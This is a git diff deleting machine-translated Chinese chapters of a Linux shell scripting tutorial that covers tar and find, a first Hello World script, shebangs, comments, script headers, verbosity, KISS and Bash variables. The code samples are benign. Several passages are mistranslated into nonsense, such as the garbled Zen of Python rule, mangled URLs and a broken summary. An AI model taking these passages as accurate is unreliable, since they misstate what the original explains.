-在本章的第二部分,我们讨论了归档。虽然有许多不同的工具允许归档,但我们关注的是 Linux 中最常用的工具:`tar`。我们向您展示了如何在当前工作目录中和文件系统的其他地方创建和提取归档。我们描述了文件和整个目录都可以由`tar`存档,并且我们可以看到 tarball 中的内容,而无需使用`-t`选项实际提取它。 - -我们以使用`file`和`locate`查找文件来结束本章。我们解释了`locate`是一个简单的命令,在某些情况下是有用的,而`find`是一个更复杂但非常强大的命令,可以为掌握它的人提供巨大的好处。 - -本章介绍了以下命令:`cp`、`rm`、`mv`、`ln`、`tar`、`locate`和`find`。 - -# 问题 - -1. 在 Linux 中,我们使用哪个命令来复制文件? -2. 移动和重命名文件有什么区别? -3. 为什么用来删除 Linux 下文件的`rm`命令有潜在危险? -4. 硬链接和符号(软)链接有什么区别? -5. `tar`最重要的三种运行模式是什么? -6. `tar`用哪个选项选择输出目录? -7. 在文件名上搜索`locate`和`find`最大的区别是什么? -8. `find`可以组合多少个选项? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **文件操作**:[https://ryanstutorials . net/linuxtutorial/File manualation . PHP](https://ryanstutorials.net/linuxtutorial/filemanipulation.php) - -* **Tar 教程**:[https://www . poftut . com/Linux-Tar-command-tutorial-with-examples/](https://www.poftut.com/linux-tar-command-tutorial-with-examples/) -* **查找实际示例**:[https://www . tec mint . com/35-Linux 的实际示例-find-command/](https://www.tecmint.com/35-practical-examples-of-linux-find-command/) \ No newline at end of file diff --git a/docs/learn-linux-shell-script/07.md b/docs/learn-linux-shell-script/07.md deleted file mode 100644 index 97d60dbd..00000000 --- a/docs/learn-linux-shell-script/07.md +++ /dev/null @@ -1,334 +0,0 @@ -# 七、你好世界! - -在本章中,我们将最终开始编写 shell 脚本。在编写并运行了我们自己的`Hello World!`脚本之后,我们将查看所有未来脚本的一些最佳实践。我们将使用许多技术来增加我们脚本的可读性,我们将尽可能遵循 KISS 原则(保持简单,愚蠢)。 - -本章将介绍以下命令:`head`、`tail`和`wget`。 - -本章将涵盖以下主题: - -* 第一步 -* 可读性 -* 吻 - -# 技术要求 - -我们将直接在虚拟机上创建我们的 shell 脚本;我们暂时还不会使用 Atom/Notepad++软件。 - -本章所有脚本均可在 GitHub:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter07](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter07) 上找到。 - -# 第一步 - -在获得了一些关于 Linux 的背景信息,准备好我们的系统,并对 Linux 中脚本编写的重要概念有了一个概述之后,我们终于到了要编写实际 shell 脚本的时候了! - -概括地说,一个 shell 脚本只不过是多个 Bash 命令的序列。脚本通常用于自动化重复性任务。它们可以交互或非交互运行(意味着有或没有用户输入),并且可以与其他人共享。让我们创建我们的`Hello World`脚本!我们将在`home`目录中创建一个文件夹,我们将在其中存储所有脚本,按每个章节排序: - -```sh -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 0 Aug 19 11:54 emptyfile --rw-rw-r-- 1 reader reader 23 Aug 19 11:54 textfile.txt -reader@ubuntu:~$ mkdir scripts -reader@ubuntu:~$ cd scripts/ -reader@ubuntu:~/scripts$ mkdir chapter_07 -reader@ubuntu:~/scripts$ cd chapter_07/ -reader@ubuntu:~/scripts/chapter_07$ vim hello-world.sh -``` - -接下来,在`vim`屏幕中,输入以下文本(注意我们如何在这两行之间使用空行*:* - -```sh -#!/bin/bash - -echo "Hello World!" -``` - -如前所述,`echo`命令将文本打印到终端。让我们使用`bash`命令运行脚本: - -```sh -reader@ubuntu:~/scripts/chapter_07$ bash hello-world.sh -Hello World! -reader@ubuntu:~/scripts/chapter_07 -``` - -恭喜你,你现在是一个空壳编剧了!也许还不是一个很好或者很全面的人,但是一个空壳编剧。 - -Remember, if `vim` is not doing the trick for you yet, you can always fall back to `nano`. Or, even better, run `vimtutor` again and refresh those `vim` actions! - -# 舍邦人 - -你可能想知道第一句话。第二个(或者第三个,如果你计算空行)应该是清晰的,但是第一个是新的。它被称为**沙邦**,但有时也被称为*沙邦*、*沙邦*、*磅邦*和/或*沙邦*。它的功能非常简单:它告诉系统使用哪个二进制文件来执行脚本。它总是采用`#!`的格式。出于我们的目的,我们将总是使用`#!/bin/bash` shebang,但是对于 Perl 或 Python 脚本,它将分别是`#!/usr/bin/perl`和`#!/usr/bin/python3`。乍一看似乎没有必要。我们创建了名为`hello-world.sh`的脚本,而 Perl 或 Python 脚本将使用`hello-world.pl`和`hello-world.py`。那么,为什么我们需要这个盒子呢? - -对于 Python 来说,它让我们可以轻松区分 Python 2 和 Python 3。你通常会期望人们一有新版本的编程语言就切换到它,但是对于 Python 来说,这似乎需要更多的努力,这就是为什么今天你会看到 Python 2 和 Python 3 都在使用。 - -Bash 脚本并不以`.bash`结尾,而是以`.sh`结尾,这是 *shell* 的通用缩写。因此,除非我们为 Bash 指定 shebang,否则我们最终将处于*正常* shell 执行状态。虽然这对于一些脚本来说很好(T2 脚本可以工作),但是当我们使用 Bash 的高级功能时,我们会遇到问题。 - -# 运行脚本 - -如果你真的注意到了,你会注意到我们使用`bash`命令执行了一个不可执行的脚本。如果我们指定如何运行它,为什么我们需要 shebang?在这种情况下,我们就不需要蛇了。然而,我们需要确切地知道它是哪种脚本,并在系统上找到正确的二进制文件来运行它,这可能有点麻烦,尤其是当您有许多脚本时。谢天谢地,我们有一个更好的方法来运行这些脚本:使用可执行权限。让我们看看如何通过设置可执行权限来运行我们的`hello-world.sh`脚本: - -```sh -reader@ubuntu:~/scripts/chapter_07$ ls -l -total 4 --rw-rw-r-- 1 reader reader 33 Aug 26 12:08 hello-world.sh -reader@ubuntu:~/scripts/chapter_07$ ./hello-world.sh --bash: ./hello-world.sh: Permission denied -reader@ubuntu:~/scripts/chapter_07$ chmod +x hello-world.sh -reader@ubuntu:~/scripts/chapter_07$ ./hello-world.sh -Hello World! reader@ubuntu:~/scripts/chapter_07$ /home/reader/scripts/chapter_07/hello-world.sh Hello World! -reader@ubuntu:~/scripts/chapter_07$ ls -l -total 4 --rwxrwxr-x 1 reader reader 33 Aug 26 12:08 hello-world.sh -reader@ubuntu:~/scripts/chapter_07$ -``` - -我们可以通过运行脚本*完全限定*或者在同一个目录中使用`./`来执行脚本(或者任何文件,真的,如果它对要执行的文件有意义的话),只要它有可执行的权限集。出于安全考虑,我们需要前缀`./`:通常情况下,当我们执行一个命令时,`PATH`变量会以这个名字出现。现在想象一下,有人在你的主目录中放了一个叫做`ls`的恶意二进制文件。如果`./`规则不存在,运行`ls`命令将导致运行二进制文件,而不是`/bin/ls`(在您的`PATH`上)。 - -因为我们只是用`./hello-world.sh`运行一个脚本,所以我们现在又需要 shebang 了。否则,Linux 将默认使用`/bin/sh`,这不是我们在 **Bash** 脚本书中想要的,对吗? - -# 可读性 - -编写 shell 脚本时,您应该始终确保代码尽可能易读。当您在创建脚本的过程中,脚本的所有逻辑、命令和流程对您来说都是显而易见的,但是如果您在放下脚本一会儿后再看它,这就不再是给定的了。更糟糕的是,你很可能会和其他人一起写剧本;这些人在编写脚本时从未有过与你相同的考虑(反之亦然)。我们如何提高脚本的可读性?评论和冗长是我们实现这一目标的两种方式。 - -# 评论 - -任何优秀的软件工程师都会告诉你,在代码中放置相关的注释可以提高代码的质量。注释只不过是解释你在做什么的一段文字,前面加上一个特殊的字符,确保你用的语言不会解释文字。对于 Bash 来说,这个字符就是*的数字符号* `#`(目前在#HashTags 中使用比较出名)。当您阅读其他来源时,它也可能被称为*井号*或*散列*。注释字符的其他例子有`//` (Java,C++)、`--` (SQL)和`` (HTML,XML)。`#`字符也被用作 Python 和 Perl 的注释。 - -注释可以用在一行的开头,这样可以确保整行不会被解释,也可以用在一行的后面。在这种情况下,直到`#`的所有内容都将被处理。让我们在修改后的`Hello World`脚本中看看这两个例子: - -```sh -#!/bin/bash - -# Print the text to the Terminal. -echo "Hello World!" -``` - -或者,我们可以使用以下语法: - -```sh -#!/bin/bash - -echo "Hello World!" # Print the text to the Terminal. -``` - -一般来说,我们更喜欢将注释放在命令的正上方。然而,一旦我们引入循环、重定向和其他高级构造,一个*内联注释*可以确保比一整行更好的可读性。不过,要记住的最重要的事情是:**任何相关的评论总是比没有评论好,无论是全行还是内嵌**。按照惯例,我们总是喜欢把评论写得很短(一到三个字),或者用一个完整的句子加上适当的标点符号。如果一个完整的句子是多余的,使用几个关键词;否则,选择完整的句子。我们保证这会让你的脚本看起来更加专业。 - -# 脚本标题 - -在我们的脚本工作中,我们总是在脚本的开头包含一个*头*。虽然这对于脚本的运行不是必需的,但是当其他人使用您的脚本时(或者,当您使用其他人的脚本时),它会有很大的帮助。标题可以包含您认为需要的任何信息,但通常我们总是从以下字段开始: - -* 作者 -* 版本 -* 日期 -* 描述 -* 使用 - -通过使用注释实现一个简单的标题,我们可以让偶然发现脚本的人知道它是何时由谁写的(如果他们有问题的话)。此外,简单的描述给出了脚本的目标,使用信息确保首次使用脚本时没有反复试验。让我们创建一个我们的`hello-world.sh`脚本的副本,称之为`hello-world-improved.sh`,并为该功能实现一个标题和一个注释: - -```sh -reader@ubuntu:~/scripts/chapter_07$ ls -l -total 4 --rwxrwxr-x 1 reader reader 33 Aug 26 12:08 hello-world.sh -reader@ubuntu:~/scripts/chapter_07$ cp hello-world.sh hello-world-improved.sh -reader@ubuntu:~/scripts/chapter_07$ vi hello-world-improved.sh -``` - -确保脚本如下所示,但一定要输入*当前日期*和*自己的名字*: - -```sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-08-26 -# Description: Our first script! -# Usage: ./hello-world-improved.sh -##################################### - -# Print the text to the Terminal. -echo "Hello World!" -``` - -这看起来不错吧。唯一可能突出的是,我们现在有一个 12 行的脚本,其中只有一行包含任何功能。在这种情况下,确实,似乎有点过分了。然而,我们正在努力学习好的做法。一旦脚本变得更加复杂,我们在 shebang 和 header 中使用的这 10 行代码就不会有什么不同,但是可用性会显著提高。在此过程中,我们将引入一个新的`head`命令。 - -```sh -reader@ubuntu:~/scripts/chapter_07$ head hello-world-improved.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -``` - -```sh - -# Date: 2018-08-26 -# Description: Our first script! -# Usage: ./hello-world-improved.sh -##################################### - -reader@ubuntu:~/scripts/chapter_07$ -``` - -`head`命令与`cat`类似,但不打印整个文件;默认情况下,它只打印前 10 行。并非完全巧合的是,它正好和我们创造的头球一样长。所以,任何想要使用你的脚本的人(老实说,6 个月后的**你**也是*任何人*)都可以只使用`head`打印标题并获得开始使用脚本所需的所有信息。 - -我们在介绍`head`的时候,如果不同时介绍`tail`的话,就是疏忽了。顾名思义,`head`打印文件的顶部,`tail`打印文件的结尾。虽然这对我们的脚本头没有帮助,但在查看日志文件中的错误或警告时,它非常有用: - -```sh -reader@ubuntu:~/scripts/chapter_07$ tail /var/log/auth.log -Aug 26 14:45:28 ubuntu systemd-logind[804]: Watching system buttons on /dev/input/event1 (Sleep Button) -Aug 26 14:45:28 ubuntu systemd-logind[804]: Watching system buttons on /dev/input/event2 (AT Translated Set 2 keyboard) -Aug 26 14:45:28 ubuntu sshd[860]: Server listening on 0.0.0.0 port 22. -Aug 26 14:45:28 ubuntu sshd[860]: Server listening on :: port 22. -Aug 26 15:00:02 ubuntu sshd[1079]: Accepted password for reader from 10.0.2.2 port 51752 ssh2 -Aug 26 15:00:02 ubuntu sshd[1079]: pam_unix(sshd:session): session opened for user reader by (uid=0) -Aug 26 15:00:02 ubuntu systemd: pam_unix(systemd-user:session): session opened for user reader by (uid=0) -Aug 26 15:00:02 ubuntu systemd-logind[804]: New session 1 of user reader. -Aug 26 15:17:01 ubuntu CRON[1272]: pam_unix(cron:session): session opened for user root by (uid=0) -Aug 26 15:17:01 ubuntu CRON[1272]: pam_unix(cron:session): session closed for user root -reader@ubuntu:~/scripts/chapter_07$ -``` - -# 冗长 - -回到我们如何提高脚本的可读性。虽然注释是提高我们对脚本理解的一个很好的方法,但是如果脚本中的命令使用了许多模糊的标志和选项,我们需要在注释中使用许多单词来解释一切。而且,正如您可能期望的那样,如果我们需要五行注释来解释我们的命令,可读性将变得更低而不是更高!冗长是解释不要太多也不要太少之间的平衡。例如,您可能不需要向任何人解释您是否以及为什么使用`ls`命令,因为这是非常基本的。然而,`tar`命令可能相当复杂,所以对您试图实现的目标做一个简短的评论可能是值得的。 - -在这种情况下,我们想讨论三种类型的冗长。这些是: - -* 评论冗长 -* 命令冗长 -* 命令输出的详细程度 - -# 评论冗长 - -冗长的问题是很难给出明确的规则。几乎总是非常依赖于上下文。因此,虽然我们可以说,事实上,我们不必评论`echo`或`ls`,但情况可能并非总是如此。假设我们使用`ls`命令的输出来迭代一些文件;也许我们想在评论中提到这一点?或者,甚至这种情况对我们的读者来说也是如此清晰,对整个循环做一个简短的评论就足够了? - -答案是,非常令人不满意的是,*这取决于*。如果你不确定,包含评论通常是一个好主意,但是你可能想要保持它更稀疏。这个 ls 的实例列出了所有的文件,然后我们可以用它来迭代脚本的其余部分,而不是*,你可以选择*用 ls 构建迭代列表。*改为。这主要是一种练习过的技能,所以一定要至少开始练习:随着你壳脚本越来越多,你肯定会变得越来越好。* - -# 命令冗长 - -命令式冗长是一个有趣的问题。在前面的章节中,您已经了解了许多命令,有时还会附带一些标志和选项来改变该命令的功能。大多数选项都有短语法和长语法来完成同样的事情。以下是一个例子: - -```sh -reader@ubuntu:~$ ls -R -.: -emptyfile scripts textfile.txt -./scripts: -chapter_07 -./scripts/chapter_07: -hello-world-improved.sh hello-world.sh -reader@ubuntu:~$ ls --recursive -.: -emptyfile scripts textfile.txt -./scripts: -chapter_07 -./scripts/chapter_07: -hello-world-improved.sh hello-world.sh -reader@ubuntu:~$ -``` - -我们使用`ls`递归打印主目录中的文件。我们首先使用简写选项`-R`,紧接在长的`--recursive`变体之后。从输出中可以看到,命令是完全一样的,甚至`-R`也要短得多,打字也快得多。然而,`--recursive`选项更加冗长,因为它给了我们比仅仅`-R`更好的提示。那么,你什么时候用哪个?简短的回答:**在日常工作中使用速记选项,但在编写脚本时使用长选项**。虽然这在大多数情况下都很有效,但并不是万无一失的规则。一些速记命令非常普遍,以至于使用 long 选项可能会让读者更加困惑,尽管听起来违反直觉。例如,当使用 SELinux 或 AppArmor 时,`ls`的`-Z`命令打印安全上下文。这个选项的长选项是`--context`,但这个选项不如`-Z`选项广为人知(根据我们的经验)。在这种情况下,使用速记会更好。 - -然而,我们已经看到了一个复杂的命令,但是当我们使用长选项时,它的可读性要高得多:`tar`。让我们看看创建归档的两种方法: - -```sh -reader@ubuntu:~/scripts/chapter_07$ ls -l -total 8 --rwxrwxr-x 1 reader reader 277 Aug 26 15:13 hello-world-improved.sh --rwxrwxr-x 1 reader reader 33 Aug 26 12:08 hello-world.sh -reader@ubuntu:~/scripts/chapter_07$ tar czvf hello-world.tar.gz hello-world.sh -hello-world.sh -reader@ubuntu:~/scripts/chapter_07$ tar --create --gzip --verbose --file hello-world-improved.tar.gz hello-world-improved.sh -hello-world-improved.sh -reader@ubuntu:~/scripts/chapter_07$ ls -l -total 16 --rwxrwxr-x 1 reader reader 277 Aug 26 15:13 hello-world-improved.sh --rw-rw-r-- 1 reader reader 283 Aug 26 16:28 hello-world-improved.tar.gz --rwxrwxr-x 1 reader reader 33 Aug 26 12:08 hello-world.sh --rw-rw-r-- 1 reader reader 317 Aug 26 16:26 hello-world.tar.gz -reader@ubuntu:~/scripts/chapter_07$ -``` - -第一个命令`tar czvf`仅使用速记。像这样的命令非常适合全行注释或内联注释: - -```sh -#!/bin/bash - -# Verbosely create a gzipped tarball. -tar czvf hello-world.tar.gz hello-world.sh -``` - -或者,您可以使用以下内容: - -```sh -#!/bin/bash - -# Verbosely create a gzipped tarball. -tar czvf hello-world.tar.gz hello-world.sh -``` - -然而`tar --create --gzip --verbose --file`命令本身就足够冗长*,不值得评论,因为一个适当的评论实际上说的和长选项说的一样!* - -*Shorthand is used to save time. For daily tasks, this is a great way to interact with your system. However, when shell scripting, it's much more important to be clear and verbose. Using long options is a better idea, since you can prevent the need for extra comments when using these options. However, some commands are used so often that the longer flag can actually be more confusing; use your best judgement here and learn from experience. - -# 命令输出的详细程度 - -最后,在运行 shell 脚本时,您将看到脚本中命令的输出(除非您想通过*重定向*删除该输出,这将在[第 12 章](12.html)、*脚本中使用管道和重定向*中解释)。默认情况下,有些命令是冗长的。其中很好的例子是`ls`和`echo`命令:它们的全部功能是在屏幕上打印一些东西。 - -如果我们循环回到`tar`命令,我们可以问自己是否需要查看所有正在存档的文件。如果我们的脚本中的逻辑是正确的,我们可以假设正确的文件正在被归档,这些文件的列表只会打乱脚本输出的其余部分。默认情况下,`tar`不打印任何内容;到目前为止,我们已经为此使用了`-v` / `--verbose`选项。但是,对于脚本来说,这通常是不可取的行为,所以我们可以放心地省略这个选项(除非我们有充分的理由不这样做)。 - -默认情况下,大多数命令都有适当的详细程度。打印`ls`的输出,但默认隐藏`tar`。对于大多数命令,可以通过使用`--verbose`或`--quiet`选项(或相应的短手,通常是`-v`或`-q`)来反转冗长度。一个很好的例子是`wget`:这个命令是用来从网上抓取文件的。默认情况下,它会给出大量关于连接、主机名解析、下载进度和下载目的地的输出。然而很多时候,所有这些事情一点都不有趣!在这种情况下,我们将`--quiet`选项用于`wget`,因为对于这种情况,这是命令的**适当详细度**。 - -When shell scripting, always consider the verbosity of the commands you are using. If it is not enough, check the man page for a way to increase the verbosity. If it is too much, check that same man page for a quieter option. Most commands we have encountered have either or both options present, sometimes in different levels (`-q` and `-qq` for even quieter operation!). - -# 保持简单,愚蠢 - -KISS 原则是处理 shell 脚本的好方法。虽然它可能会让人觉得有点苛刻,但它的精神很重要:它只应该被认为是伟大的建议。Python 的设计原则中给出了进一步的建议: - -* 简单总比复杂好 -* 复杂总比复杂好 -* 可读性很重要 - -Python 的*禅还有大约 17 个方面,但这三个方面也是与 Bash 脚本最相关的。最后一个,*可读性计数*,现在应该很明显了。然而,前两个,'*简单比复杂好'*和'*复杂比复杂好'*与 KISS 原理密切相关。保持简单是一个伟大的目标,但是如果这不可能,复杂的解决方案总是比复杂的解决方案更好(没有人喜欢复杂的脚本!).* - -编写脚本时,您可以记住几件事: - -* 如果你想出的解决方案似乎变得非常复杂,请执行以下任一操作: - * 研究你的问题;也许有另一种工具可以代替你现在使用的工具。 - * 看看你是否能把事情分成不连续的步骤,这样它会变得更复杂但不那么复杂。 -* 问问自己是否需要一行中的所有内容,或者是否有可能将命令拆分为多行以增加可读性。当使用管道或其他形式的重定向时,如第 12 章、*在脚本中使用管道和重定向*中更详细解释的那样,这成为需要记住的事情。 -* 如果有效,那就是*很可能*不是一个坏的解决方案。但是,请确保解决方案不要过于简单*,因为边缘案例可能会在以后造成麻烦。* - - *# 摘要 - -我们从创建和运行第一个 shell 脚本开始这一章。当学习一门新的软件语言时,几乎是强制性的,我们打印了 Hello World!到我们的终端。接下来,我们解释了 shebang:脚本的第一行,它是对 Linux 系统的一个指令,关于它在运行脚本时应该使用的解释器。对于 Bash 脚本,惯例是文件名以结尾。嘘,带着一堆#!/bin/bash。 - -我们解释了有多种方法可以运行脚本。我们可以从解释器开始,将脚本名作为参数传递(例如:`bash hello-world.sh`)。在这种情况下,不需要 shebang,因为我们在命令行上指定了解释器。但是,通常情况下,我们通过设置可执行权限并直接调用来运行文件;在这种情况下,shebang 用于确定使用哪个解释器。因为你不能确定用户将如何运行你的脚本,包括一个 shebang 应该被认为是强制性的。 - -为了提高脚本的质量,我们描述了如何提高 shell 脚本的可读性。我们解释了如何以及何时在脚本中使用注释,以及如何使用注释创建脚本头,我们可以使用`head`命令轻松查看该脚本头。简要介绍了与`head`密切相关的`tail`命令。除了评论,我们还解释了**冗长**的概念。 - -详细程度可分为多个级别:注释详细程度、命令详细程度和命令输出详细程度。我们认为在脚本中为命令使用长选项几乎总是比速记更好的主意,因为它增加了可读性,并且可以防止需要额外的注释,尽管我们已经确定过多的注释几乎总是比没有注释好。 - -我们用 KISS 原则的简短描述结束了这一章,我们将它与 Python 中的一些设计原则联系起来。读者应该意识到,如果有一个简单的解决问题的方法,它往往是最好的。如果简单的解决方案不是一个选项,那么复杂的解决方案应该比复杂的解决方案更受欢迎。 - -本章介绍了以下命令:`head`、`tail`和`wget`。 - -# 问题 - -1. 按照惯例,当我们学习一门新的编程或脚本语言时,首先要做什么? -2. Bash 的 shebang 是什么? -3. 为什么需要舍邦? -4. 我们可以通过哪三种方式运行脚本? -5. 为什么我们在创建 shell 脚本时如此强调可读性? -6. 我们为什么要用评论? -7. 为什么我们建议为您编写的所有 shell 脚本都包含一个脚本头? -8. 我们讨论过哪三种类型的冗长? -9. KISS 原理是什么? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **你好世界(长教程)**:[https://bash.cyberciti.biz/guide/Hello,_World!_Tutorial](https://bash.cyberciti.biz/guide/Hello,_World!_Tutorial) -* **Bash 编码风格指南**:[https://bluepanguinlist . com/2016/11/04/Bash-脚本-教程/](https://bluepenguinlist.com/2016/11/04/bash-scripting-tutorial/) -* **kiss**:[https://people . Apache . org/% 7 efhanik/kiss . html](https://people.apache.org/%7Efhanik/kiss.html)** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/08.md b/docs/learn-linux-shell-script/08.md deleted file mode 100644 index 9c2af467..00000000 --- a/docs/learn-linux-shell-script/08.md +++ /dev/null @@ -1,595 +0,0 @@ -# 八、变量和用户输入 - -在这一章中,我们将首先描述什么是变量,以及为什么我们想要和需要它们。我们将解释变量和常数之间的区别。接下来,我们将提供一些关于变量命名的可能性,并介绍一些关于命名约定的最佳实践。最后,我们将讨论用户输入以及如何正确处理它:要么使用位置参数,要么使用交互式脚本。我们将以`if-then`构造和退出代码的介绍来结束这一章,我们将使用它们来组合位置参数和交互式提示。 - -本章将介绍以下命令:`read`、`test`和`if`。 - -本章将涵盖以下主题: - -* 什么是变量? -* 变量命名 -* 处理用户输入 -* 交互式和非交互式脚本 - -# 技术要求 - -除了带有前几章文件的 Ubuntu 虚拟机,不需要其他资源。 - -本章所有脚本均可在 GitHub:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter08](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter08) 上找到。对于 name-improved.sh 脚本,只有最终版本可以在网上找到。在您的系统上执行之前,请确保验证标题中的脚本版本。 - -# 什么是变量? - -变量是许多(如果不是全部的话)编程和脚本语言中使用的标准构造块。变量允许我们存储信息,因此我们可以在以后引用和使用它,通常是多次。例如,我们可以使用`textvariable`变量来存储句子`This text is contained in the variable`。在这种情况下,`textvariable`的变量名被称为键,变量的内容(文本)被称为值,在组成变量的键-值对中。 - -在我们的程序中,当我们需要文本时,我们总是引用`textvariable`变量。现在这可能有点抽象,但我们有信心在看到本章其余部分的例子后,变量的有用性将变得清晰。 - -我们实际上已经看到了正在使用的 Bash 变量。请记住,在[第 4 章](04.html)、*Linux 文件系统*中,我们同时考虑了`BASH_VERSION`和`PATH`变量。让我们看看如何在 shell 脚本中使用变量。我们将采用我们的`hello-world-improved.sh`脚本,而不是直接使用`Hello world`文本,我们将首先把它放在一个变量中并引用它: - -```sh -reader@ubuntu:~/scripts/chapter_08$ cp ../chapter_07/hello-world-improved.sh hello-world-variable.sh -reader@ubuntu:~/scripts/chapter_08$ ls -l -total 4 --rwxrwxr-x 1 reader reader 277 Sep 1 10:35 hello-world-variable.sh -reader@ubuntu:~/scripts/chapter_08$ vim hello-world-variable.sh -``` - -首先,我们将`chapter_07`目录中的`hello-world-improved.sh`脚本复制到新创建的`chapter_08`目录中,名称为`hello-world-variable.sh`。然后,我们用`vim`来编辑它。给它以下内容: - -```sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-01 -# Description: Our first script using variables! -# Usage: ./hello-world-variable.sh -##################################### - -hello_text="Hello World!" - -# Print the text to the terminal. -echo ${hello_text} - -reader@ubuntu:~/scripts/chapter_08$ ./hello-world-variable.sh -Hello World! -reader@ubuntu:~/scripts/chapter_08$ -``` - -恭喜,您刚刚在脚本中使用了第一个变量!如您所见,您可以通过将变量的名称包装在`${...}`语法中来使用变量的内容。从技术上来说,只要在名字前面加上`$`就够了(比如`echo $hello_text`)。然而,在这种情况下,很难区分变量名的结尾和程序的其余部分的开头——例如,如果您在一个句子的中间使用变量(或者,更好的是,在一个单词的中间!).如果使用`${..}`,很明显变量名以`}`结尾。 - -在运行时,我们定义的变量将被实际内容代替变量名:这个过程称为*变量插值*,在所有脚本/编程语言中都使用。我们永远不会在脚本中看到或直接使用变量值,因为在大多数情况下,该值取决于运行时配置。 - -您还会看到我们编辑了标题中的信息。虽然很容易忘记,但如果标题不包含正确的信息,就会降低可读性。一定要确保你有一个最新的标题! - -如果我们进一步解剖脚本,可以看到`hello_text`变量是表头后的第一个函数行。我们称之为给变量赋值。在某些编程/脚本语言中,您必须首先*声明*一个变量,然后才能*分配*(大多数情况下,这些语言都有简写,您可以将它声明和分配为单个动作)。 - -需要声明的原因是有些语言是*静态类型的*(变量类型——例如,字符串或整数——应该在赋值之前声明,编译器会检查你做的是否正确——例如,没有给整数类型的变量赋值),而其他语言是*动态类型的*。对于动态类型的语言,语言只是假设变量的类型来自于分配给它的类型。如果给它赋值,它将是一个整数;如果它被分配了文本,它将是一个字符串,以此类推。 - -Basically, variables can be **assigned** a value, **declared**, or **initialized**. While, technically, these are different things, you will often see the terms being used interchangeably. Do not get too hung up on this; the most important thing to remember is you're *creating the variable and its content*! - -Bash 并不真正遵循这两种方法。Bash 的简单变量(不包括数组,我们将在后面解释)总是被认为是字符串,除非操作明确指定我们应该做算术。看看下面的脚本和结果(为了简洁起见,我们省略了标题): - -```sh -reader@ubuntu:~/scripts/chapter_08$ vim hello-int.sh -reader@ubuntu:~/scripts/chapter_08$ cat hello-int.sh -#/bin/bash - -# Assign a number to the variable. -hello_int=1 - -echo ${hello_int} + 1 -reader@ubuntu:~/scripts/chapter_08$ bash hello-int.sh -1 + 1 -``` - -你可能以为我们会把 2 号印出来。然而,如上所述,Bash 认为一切都是字符串;它只打印变量值,后跟空格、加号、另一个空格和数字 1。如果我们想要执行实际的算术运算,我们需要一个专门的语法,以便 Bash 知道它正在处理数字: - -```sh -reader@ubuntu:~/scripts/chapter_08$ vim hello-int.sh -reader@ubuntu:~/scripts/chapter_08$ cat hello-int.sh -#/bin/bash - -# Assign a number to the variable. -hello_int=1 - -echo $(( ${hello_int} + 1 )) - -reader@ubuntu:~/scripts/chapter_08$ bash hello-int.sh -2 -``` - -通过将`variable + 1`包含在`$((...))`中,我们告诉 Bash 将其作为算术来计算。 - -# 为什么我们需要变量? - -希望你现在明白如何使用变量了。然而,你可能还不明白为什么我们会想要或者 T2 需要使用变量。这看起来像是为了小回报而做的额外工作,对吗?考虑下一个例子: - -```sh -reader@ubuntu:~/scripts/chapter_08$ vim name.sh -reader@ubuntu:~/scripts/chapter_08$ cat name.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-01 -# Description: Script to show why we need variables. -# Usage: ./name.sh -##################################### - -# Assign the name to a variable. -name="Sebastiaan" - -# Print the story. -echo "There once was a guy named ${name}. ${name} enjoyed Linux and Bash so much that he wrote a book about it! ${name} really hopes everyone enjoys his book." - -reader@ubuntu:~/scripts/chapter_08$ bash name.sh -There once was a guy named Sebastiaan. Sebastiaan enjoyed Linux and Bash so much that he wrote a book about it! Sebastiaan really hopes everyone enjoys his book. -reader@ubuntu:~/scripts/chapter_08$ -``` - -如你所见,我们使用`name`变量不是一次,而是三次。如果我们没有适当的变量,并且我们需要编辑名称,我们将需要搜索文本中使用该名称的每个地方。 - -此外,如果我们在其中一个地方犯了拼写错误,写 *Sebastian* 而不是 *Sebastiaan* (如果你感兴趣的话,这种情况经常发生*),阅读文本和编辑文本都需要付出更多的努力。此外,这是一个简单的例子:变量经常被使用多次(至少三次以上)。* - - *此外,变量通常用于存储程序的*状态*。对于 Bash 脚本,您可以想象创建一个临时目录,您将在其中执行一些操作。我们可以将这个临时目录的位置存储在一个变量中,我们在临时目录中需要做的任何事情都会利用这个变量来找到位置。程序完成后,应该清理临时目录,不再需要该变量。对于程序的每次运行,临时目录将被不同地命名,因此变量的内容将不同,或者*变量*也不同。 - -变量的另一个优点是它们有名字。正因为如此,如果我们创建一个描述性的名称,我们可以使应用更容易阅读和使用。我们已经确定可读性始终是 shell 脚本的必备条件,使用正确命名的变量有助于我们做到这一点。 - -# 变量还是常量? - -在到目前为止的例子中,我们实际上使用了变量作为**常数**。术语变量意味着它可以改变,而我们的例子总是在脚本的开始分配一个变量,并一直使用它。虽然这有其自身的优点(如前所述,为了一致性或更容易编辑),但它还没有充分利用变量的力量。 - -常数是一个变量,但是一种特殊的类型。简单来说,一个常量就是*在脚本开始时定义的一个变量,不受用户输入的影响,在执行过程中不改变值。* - -在本章的后面,当我们讨论处理用户输入时,我们将看到真正的变量。在那里,变量的内容是由脚本的调用者提供的,这意味着每次调用脚本时,脚本的输出都会不同,或者说*是变化的*。在本书的后面,当我们描述条件测试时,我们甚至会根据同一个脚本中的逻辑,在脚本本身的过程中更改变量值。 - -# 变量命名 - -关于命名的问题。您可能已经注意到了我们到目前为止所看到的变量的一些情况:Bash 变量`PATH`和`BASH_VERSION`是完全大写的,但是在我们的示例中,我们使用了小写,单词用下划线(`hello_text`)分隔。考虑以下示例: - -```sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 